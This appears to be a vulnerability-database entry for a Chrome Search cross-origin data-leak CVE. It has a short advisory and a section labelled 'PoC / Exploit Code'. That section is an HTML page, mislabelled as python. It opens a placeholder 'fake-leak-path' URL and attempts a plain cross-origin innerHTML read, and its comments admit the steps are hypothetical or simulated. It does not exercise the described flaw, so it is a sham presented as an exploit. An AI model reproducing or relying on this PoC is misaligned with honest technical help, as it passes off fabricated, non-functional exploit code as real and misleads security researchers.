Insufficient policy enforcement in Search in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Low)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<html>
<!-- PoC for CVE-2026-8011: Chrome Search Cross-Origin Data Leak -->
<body>
<h3>CVE-2026-8011 PoC</h3>
<p>Click the button below to trigger the data leak attempt via Search component.</p>
<button id="exploitBtn">Test Vulnerability</button>
<script>
document.getElementById('exploitBtn').addEventListener('click', async () => {
console.log("[+] Initiating exploit for CVE-2026-8011...");
// Step 1: Open a window or utilize the Search component context
// In a real scenario, this would target the specific vulnerable Search endpoint
const targetUrl = 'chrome-search://local-ntp/fake-leak-path';
try {
// Step 2: Attempt to access cross-origin data
// This simulates the insufficient policy enforcement
const leakWindow = window.open(targetUrl, '_blank');
// Step 3: Poll for data or use side-channel techniques
// Note: Actual exploitation depends on specific memory or DOM exposure
setTimeout(() => {
if (leakWindow) {
try {
// Hypothetical access to restricted property
const sensitiveData = leakWindow.document.body.innerHTML;
console.log("[+] Data leaked (Simulated):", sensitiveData.substring(0, 100));
alert("Potential vulnerability detected! Check console for details.");
} catch (e) {
console.log("[-] Direct access blocked, trying side-channel...");
// Fallback to timing attack or error message parsing
}
}
}, 1000);
} catch (error) {
console.error("[!] Exploit failed:", error);
}
});
</script>
</body>
</html>